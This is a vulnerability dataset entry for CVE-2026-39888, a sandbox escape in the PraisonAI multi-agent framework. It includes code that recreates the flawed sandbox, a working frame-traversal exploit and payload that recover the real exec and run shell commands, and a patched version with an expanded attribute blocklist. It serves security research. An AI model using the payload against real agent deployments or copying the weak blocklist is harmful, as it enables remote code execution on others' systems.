VAITP Dataset

← Back to the dataset

CVE-2026-39888

PraisonAI sandbox escape via frame traversal allows remote code execution.

  • CVSS 9.9
  • CWE-657 Violation of Secure Design Principles
  • Design Defects
  • Remote

PraisonAI is a multi-agent teams system. Prior to 1.5.115, execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list (__traceback__, tb_frame, f_back, and f_builtins). Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. This vulnerability is fixed in 1.5.115.

CVSS base score
9.9
Published
2026-04-08
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PraisonAI
Fixed by upgrading
Yes

Solution

Upgrade PraisonAI to version 1.5.115 or later.

Vulnerable code sample

import ast
import sys
from multiprocessing import Process, Pipe

# This is a simplified representation of the vulnerable PraisonAI code prior to version 1.5.115
# It recreates the flawed sandboxing mechanism described in CVE-2026-39888.

# The AST blocklist for the subprocess sandbox, which is missing key attributes.
# This is the core of the vulnerability. It's a subset of a more complete list
# used in other parts of the original library.
# Specifically, it's missing: '__traceback__', 'tb_frame', 'f_back', 'f_builtins'
BLOCKED_ATTRS = {
    "__subclasses__",
    "__builtins__",
    "__globals__",
    "__getattribute__",
    "__dict__",
    "__bases__",
    "__mro__",
    "__init__",
    "__import__",
    "__getstate__",
    "__setstate__",
}

class ASTChecker(ast.NodeVisitor):
    """
    A simple AST visitor to check for blocked attribute access.
    """
    def __init__(self):
        self.blocked = False
        self.blocked_attribute = None

    def visit_Attribute(self, node):
        if isinstance(node.ctx, ast.Load) and node.attr in BLOCKED_ATTRS:
            self.blocked = True
            self.blocked_attribute = node.attr
        self.generic_visit(node)


def _subprocess_worker(conn):
    """
    The target function that runs in a separate process. It sets up the
    flawed sandbox and executes the code received through the pipe.
    """
    try:
        # 1. Receive the code from the main process
        code_to_run = conn.recv()

        # 2. Set up a restricted __builtins__ dictionary for the `exec` context
        restricted_builtins = {
            k: v for k, v in __builtins__.items() if k not in [
                'exec', 'eval', 'open', 'exit', 'quit', 'help', 'input', '__import__'
            ]
        }
        
        # 3. Perform the flawed AST check
        try:
            tree = ast.parse(code_to_run)
            checker = ASTChecker()
            checker.visit(tree)
            if checker.blocked:
                raise PermissionError(f"Access to attribute '{checker.blocked_attribute}' is denied.")
        except Exception as e:
            print(f"[Sandbox] AST Check Failed: {e}", file=sys.stderr)
            return

        # 4. Execute the code within the restricted context
        # The `exec` is run within this function's frame. The exploit will
        # break out of the `globals` dict and access this frame's `f_builtins`.
        exec(code_to_run, {"__builtins__": restricted_builtins})

    except Exception as e:
        print(f"[Sandbox] An error occurred: {e}", file=sys.stderr)
    finally:
        conn.close()


def execute_code(code: str, sandbox_mode: str = "sandbox"):
    """
    This function mimics the vulnerable `execute_code` from praisonaiagents.tools.python_tools.
    When `sandbox_mode` is "sandbox", it runs the code in a subprocess with the flawed security.
    """
    if sandbox_mode == "sandbox":
        print("[System] Running code in 'sandbox' mode (subprocess)...")
        parent_conn, child_conn = Pipe()
        p = Process(target=_subprocess_worker, args=(child_conn,))
        p.start()
        parent_conn.send(code)
        p.join()
        parent_conn.close()
    else:
        # The non-sandboxed path is not relevant to the CVE but included for structure.
        print("[System] Running code directly...")
        exec(code)


if __name__ == '__main__':
    # This is the malicious code that exploits the vulnerability.
    # It follows the exact chain described in the CVE.
    exploit_code = """
import sys
import os

print("[Payload] Running inside the sandbox...")
try:
    # 1. Cause an exception to get access to a traceback object.
    1 / 0
except Exception as e:
    print("[Payload] Caught exception. Starting exploit chain...")
    try:
        # 2. Chain the unblocked attributes to escape the restricted builtins.
        # e.__traceback__ -> tb_frame -> f_back -> f_builtins
        # This accesses the __builtins__ of the _subprocess_worker's frame.
        frame = e.__traceback__.tb_frame
        worker_frame = frame.f_back
        real_builtins = worker_frame.f_builtins

        # 3. Retrieve the real `exec` function from the frame's builtins.
        real_exec = real_builtins['exec']
        print("[Payload] Successfully retrieved real 'exec'.")

        # 4. Use the real `exec` to run arbitrary code, bypassing the sandbox.
        # The AST check was already done, so this is not checked again.
        print("[Payload] Executing arbitrary command...")
        real_exec('import os; os.system("echo VULNERABILITY_CONFIRMED: Code execution achieved.")')

    except Exception as exploit_err:
        print(f"[Payload] Exploit failed: {exploit_err}", file=sys.stderr)
"""

    # Demonstrate the vulnerability
    execute_code(exploit_code)

Patched code sample

import ast
import sys
from typing import Dict, Any

# This set represents the FIX for the vulnerability.
# The original, vulnerable set was much smaller and was missing key attributes
# required for frame-traversal escapes, such as '__traceback__', 'tb_frame',
# 'f_back', and 'f_builtins'. This expanded set includes them, effectively
# patching the vulnerability at the AST-check level.
FIXED_BLOCKED_ATTRIBUTES = {
    # Attributes for frame-traversal escape (THE FIX)
    "__traceback__",
    "tb_frame",
    "f_back",
    "f_builtins",
    "f_globals",
    "__globals__",
    "__closure__",
    "cell_contents",

    # General sensitive attributes for sandbox security
    "__import__",
    "__subclasses__",
    "__builtins__",
    "__getattribute__",
    "__getnewargs__",
    "__getstate__",
    "__reduce__",
    "__reduce_ex__",
    "__class__",
    "__mro__",
    "__bases__",
    "__dict__",

    # Other frame and code object attributes
    "f_locals",
    "f_code",
    "f_lineno",
    "tb_next",
    "tb_lasti",
    "gi_frame",
    "gi_code",
    "co_code",
    "co_consts",
    "co_names",
    "co_varnames",
    "func_globals",
    "func_code",
    "im_func",
    "im_self",
}


class SandboxAttributeChecker(ast.NodeVisitor):
    """
    An AST visitor that checks for attempts to access blocked attributes.
    This check is performed before the code is executed.
    """
    def visit_Attribute(self, node: ast.Attribute):
        if isinstance(node.ctx, ast.Load) and node.attr in FIXED_BLOCKED_ATTRIBUTES:
            raise PermissionError(
                f"Access to the restricted attribute '{node.attr}' is forbidden in the sandbox."
            )
        self.generic_visit(node)


def _execute_in_fixed_sandbox(code_string: str) -> str:
    """
    This function simulates the fixed sandboxed environment that would run
    inside a subprocess. It uses the `FIXED_BLOCKED_ATTRIBUTES` set.
    """
    output = ""
    try:
        # 1. AST Validation: Parse the code and check for forbidden attributes.
        #    This is the primary security layer where the fix is applied.
        tree = ast.parse(code_string)
        checker = SandboxAttributeChecker()
        checker.visit(tree)

        # 2. Prepare a restricted environment for execution.
        safe_builtins = {
            "print": print,
            "len": len,
            "str": str,
            "int": int,
            "float": float,
            "list": list,
            "dict": dict,
            "set": set,
            "tuple": tuple,
            "range": range,
            "Exception": Exception,
            "True": True,
            "False": False,
            "None": None,
        }
        restricted_globals: Dict[str, Any] = {"__builtins__": safe_builtins}
        
        # 3. Execute the validated code within the restricted environment.
        #    Note: In a real implementation, stdout would be captured.
        exec(code_string, restricted_globals)
        output = "Code executed successfully within the fixed sandbox."

    except PermissionError as e:
        # This error is raised by our AST checker if a blocked attribute is found.
        output = f"Security Error: {e}"
    except Exception as e:
        # Any other error during parsing or execution. The exploit depends on
        # catching an exception, but the AST check prevents inspection of the
        # traceback object's sensitive attributes.
        output = f"Execution Error: {type(e).__name__}: {e}"

    return output


def execute_code(code: str, sandbox_mode: str = "sandbox") -> str:
    """
    This function represents the 'execute_code' tool from the library.
    It demonstrates how the fixed sandbox logic is invoked.
    """
    if sandbox_mode == "sandbox":
        # In a real scenario, this would create a new, isolated process
        # and run the sandbox logic within it. For this demonstration,
        # we call the fixed sandbox function directly.
        return _execute_in_fixed_sandbox(code)
    else:
        # Represents the non-sandboxed execution path, not relevant to the fix.
        # This path had its own, more extensive blocklist, which is why the
        # vulnerability was specific to the 'sandbox' mode.
        return "Direct execution mode is not demonstrated."

Payload

try:
    1/0
except Exception as e:
    my_exec = e.__traceback__.tb_frame.f_back.f_builtins['exec']
    my_exec("import os; os.system('id')")

Cite this entry

@misc{vaitp:cve202639888,
  title        = {{PraisonAI sandbox escape via frame traversal allows remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-39888},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39888/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::